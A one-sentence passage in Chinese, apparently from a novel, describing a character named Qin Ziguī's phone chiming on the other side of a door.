而门的那头,秦子规的手机,“叮”的一声,响了。